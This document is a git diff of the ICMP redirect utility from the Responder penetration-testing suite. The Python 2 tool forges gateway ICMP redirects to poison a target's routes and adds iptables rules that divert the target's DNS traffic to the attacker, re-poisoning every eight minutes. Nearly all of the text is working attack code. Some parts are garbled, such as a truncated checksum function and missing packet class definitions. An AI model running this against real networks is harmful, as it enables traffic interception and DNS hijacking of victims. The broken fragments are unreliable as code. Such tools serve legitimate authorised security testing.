diff --git a/tools/Icmp-Redirect.py b/tools/Icmp-Redirect.py
index 45f34ac..100bd92 100755
--- a/tools/Icmp-Redirect.py
+++ b/tools/Icmp-Redirect.py
@@ -1,6 +1,7 @@
-#!/usr/bin/env python
-# This file is part of Responder
-# Original work by Laurent Gaffie - Trustwave Holdings
+#! /usr/bin/env python
+# NBT-NS/LLMNR Responder
+# Created by Laurent Gaffie
+# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
@@ -14,249 +15,253 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
-import os
-import sys
-import socket
-import struct
-import optparse
-import random
-import pipes
-
+import sys,socket,struct,optparse,random,pipes
+from socket import *
+sys.path.append('../')
+from odict import OrderedDict
from random import randrange
from time import sleep
from subprocess import call
from pipes import quote
-BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
-sys.path.insert(0, BASEDIR)
-from odict import OrderedDict
-from packets import Packet
-from utils import *
+parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
+ prog=sys.argv[0],
+ )
+parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
+
+parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
+
+parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
+
+parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
+
+parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
+
+parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
+
+parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
-parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', prog=sys.argv[0],)
-parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
-parser.add_option('-g', '--gateway', action="store", help="The ip address of the original gateway ('route -n' will tell)", metavar="10.20.30.254",dest="OriginalGwAddr")
-parser.add_option('-t', '--target', action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
-parser.add_option('-r', '--route', action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
-parser.add_option('-s', '--secondaryroute', action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
-parser.add_option('-a', '--alternate', action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
options, args = parser.parse_args()
-def color(txt, code = 1, modifier = 0):
- return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+if options.OURIP is None:
+ print "-i mandatory option is missing.\n"
+ parser.print_help()
+ exit(-1)
if options.OriginalGwAddr is None:
- print color("[!]", 1, 1), "-g mandatory option is missing, please provide the original gateway address.\n"
- exit(-1)
+ print "-g mandatory option is missing, please provide the original gateway address.\n"
+ parser.print_help()
+ exit(-1)
if options.VictimIP is None:
- print color("[!]", 1, 1), "-t mandatory option is missing, please provide a target.\n"
- exit(-1)
+ print "-t mandatory option is missing, please provide a target.\n"
+ parser.print_help()
+ exit(-1)
if options.Interface is None:
- print color("[!]", 1, 1), "-I mandatory option is missing, please provide your network interface.\n"
- exit(-1)
+ print "-I mandatory option is missing, please provide your network interface.\n"
+ parser.print_help()
+ exit(-1)
if options.ToThisHost is None:
- print color("[!]", 1, 1), "r mandatory option is missing, please provide a destination target.\n"
- exit(-1)
+ print "-r mandatory option is missing, please provide a destination target.\n"
+ parser.print_help()
+ exit(-1)
if options.AlternateGwAddr is None:
- AlternateGwAddr = FindLocalIP(Interface)
+ AlternateGwAddr = options.OURIP
-Responder_IP = FindLocalIP(Interface)
-OriginalGwAddr = options.OriginalGwAddr
+#Setting some vars.
+OURIP = options.OURIP
+OriginalGwAddr = options.OriginalGwAddr
AlternateGwAddr = options.AlternateGwAddr
-VictimIP = options.VictimIP
-ToThisHost = options.ToThisHost
-ToThisHost2 = options.ToThisHost2
-Interface = options.Interface
+VictimIP = options.VictimIP
+ToThisHost = options.ToThisHost
+ToThisHost2 = options.ToThisHost2
+Interface = options.Interface
-print '###########################################################################'
-print '## ICMP REDIRECT UTILITY 0.1 ##'
-print '## ##'
-print '## This utility combined with Responder is useful on Windows networks ##'
-print '## Most Linux distributions discard by default ICMP Redirects. ##'
-print '## ##'
-print '## Note that if the target is Windows, the poisoning will only ##'
-print '## last for 10mn, you can re-poison the target by launching this ##'
-print '## utility again. If you wish to respond to the traffic, for example ##'
-print '## to DNS queries issued by the target, run these commands as root: ##'
-print '## ##'
-print '## * iptables -A OUTPUT -p ICMP -j DROP ##'
-print '## * iptables -t nat -A PREROUTING -p udp --dst %s ##' % ToThisHost
-print '## --dport 53 -j DNAT --to-destination %s:53 ##' % Responder_IP
-print '###########################################################################'
-print ''
+def Show_Help(ExtraHelpData):
+ help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
+ help+= ExtraHelpData
+ print help
+
+MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
def GenCheckSum(data):
- s = 0
- for i in range(0, len(data), 2):
- q = ord(data[i]) + (ord(data[i+1]) << 8)
- f = s+q
- s = (f & 0xffff) + (f >> 16)
- return struct.pack("> 16)
+ return struct.pack("H", len(CalculateLen))
- # Then CheckSum this packet
- CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
- self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
+ def calculate(self):
+ self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
+ self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
+ self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
+ # Calc Len First
+ CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
+ self.fields["Len"] = struct.pack(">H", len(CalculateLen))
+ # Then CheckSum this packet
+ CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
+ self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
class ICMPRedir(Packet):
- fields = OrderedDict([
- ("Type", "\x05"),
- ("OpCode", "\x01"),
- ("CheckSum", "\x00\x00"),
- ("GwAddr", ""),
- ("Data", ""),
- ])
+ fields = OrderedDict([
+ ("Type", "\x05"),
+ ("OpCode", "\x01"),
+ ("CheckSum", "\x00\x00"),
+ ("GwAddr", ""),
+ ("Data", ""),
- def calculate(self):
- #Set the values
- self.fields["GwAddr"] = inet_aton(Responder_IP)
- # Then CheckSum this packet
- CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
- self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
+ ])
+
+ def calculate(self):
+ #Set the values
+ self.fields["GwAddr"] = inet_aton(OURIP)
+ # Then CheckSum this packet
+ CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
+ self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
class DummyUDP(Packet):
- fields = OrderedDict([
- ("SrcPort", "\x00\x35"), #port 53
- ("DstPort", "\x00\x35"),
- ("Len", "\x00\x08"), #Always 8 in this case.
- ("CheckSum", "\x00\x00"), #CheckSum disabled.
- ])
+ fields = OrderedDict([
+ ("SrcPort", "\x00\x35"), #port 53
+ ("DstPort", "\x00\x35"),
+ ("Len", "\x00\x08"), #Always 8 in this case.
+ ("CheckSum", "\x00\x00"), #CheckSum disabled.
+ ])
def ReceiveArpFrame(DstAddr):
- s = socket(AF_PACKET, SOCK_RAW)
- s.settimeout(5)
- Protocol = 0x0806
- s.bind((Interface, Protocol))
- OurMac = s.getsockname()[4]
- Eth = EthARP(SrcMac=OurMac)
- Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
- Arp.calculate()
- final = str(Eth)+str(Arp)
- try:
- s.send(final)
- data = s.recv(1024)
- DstMac = data[22:28]
- DestMac = DstMac.encode('hex')
- PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
- return PrintMac,DstMac
- except:
- print "[ARP]%s took too long to Respond. Please provide a valid host.\n"% DstAddr
- exit(1)
+ s = socket(AF_PACKET, SOCK_RAW)
+ s.settimeout(5)
+ Protocol = 0x0806
+ s.bind((Interface, Protocol))
+ OurMac = s.getsockname()[4]
+ Eth = EthARP(SrcMac=OurMac)
+ Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
+ Arp.calculate()
+ final = str(Eth)+str(Arp)
+ try:
+ s.send(final)
+ data = s.recv(1024)
+ DstMac = data[22:28]
+ DestMac = DstMac.encode('hex')
+ PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
+ return PrintMac,DstMac
+ except:
+ print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
+ exit(1)
def IcmpRedirectSock(DestinationIP):
- PrintMac,DestMac = ReceiveArpFrame(VictimIP)
- PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
- s = socket(AF_PACKET, SOCK_RAW)
- s.bind((Interface, 0x0800))
+ PrintMac,DestMac = ReceiveArpFrame(VictimIP)
+ print '[ARP]Target Mac address is :',PrintMac
+ PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
+ print '[ARP]Router Mac address is :',PrintMac
+ s = socket(AF_PACKET, SOCK_RAW)
+ Protocol = 0x0800
+ s.bind((Interface, Protocol))
+ Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
+ IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
+ IPPackUDP.calculate()
+ ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
+ ICMPPack.calculate()
+ IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
+ IPPack.calculate()
+ final = str(Eth)+str(IPPack)
+ s.send(final)
+ print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)
- Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
-
- IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
- IPPackUDP.calculate()
-
- ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
- ICMPPack.calculate()
-
- IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
- IPPack.calculate()
-
- final = str(Eth)+str(IPPack)
- s.send(final)
-
- print text("[ICMP-Redir] %s should have been poisoned with a new route for target: %s" % (VictimIP, DestinationIP))
+def FindWhatToDo(ToThisHost2):
+ if ToThisHost2 != None:
+ Show_Help('Hit CRTL-C to kill this script')
+ RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
+ if ToThisHost2 == None:
+ Show_Help(MoreHelp)
+ IcmpRedirectSock(DestinationIP=ToThisHost)
+ exit()
def RunThisInLoop(host, host2, ip):
- dns1 = pipes.quote(host)
- dns2 = pipes.quote(host2)
- Responder_IPadd = pipes.quote(ip)
+ dns1 = pipes.quote(host)
+ dns2 = pipes.quote(host2)
+ ouripadd = pipes.quote(ip)
+ call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
+ call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
+ print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
+ while True:
+ IcmpRedirectSock(DestinationIP=dns1)
+ IcmpRedirectSock(DestinationIP=dns2)
+ print "[+]Repoisoning the target in 8 minutes..."
+ sleep(480)
- call("iptables -A OUTPUT -p ICMP -j DROP")
- call("iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True)
- call("iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True)
-
- print text("[ICMP-Redir] Automatic mode enabled")
- print text("[ICMP-Redir] IPtables rules added for both DNS Servers")
-
- while True:
- print text("[ICMP-Redir] Poisoning target... Next round in 8 minutes.")
- try:
- IcmpRedirectSock(DestinationIP=dns1)
- IcmpRedirectSock(DestinationIP=dns2)
- sleep(480)
-
- except KeyboardInterrupt:
- sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
-
-if __name__ == "__main__":
- if ToThisHost2 is not None:
- RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP)
-
- if ToThisHost2 is None:
- print text("[ICMP-Redir] Poisoning target...")
- IcmpRedirectSock(DestinationIP=ToThisHost)
- print text("[ICMP-Redir] Done.")
- exit()
+FindWhatToDo(ToThisHost2)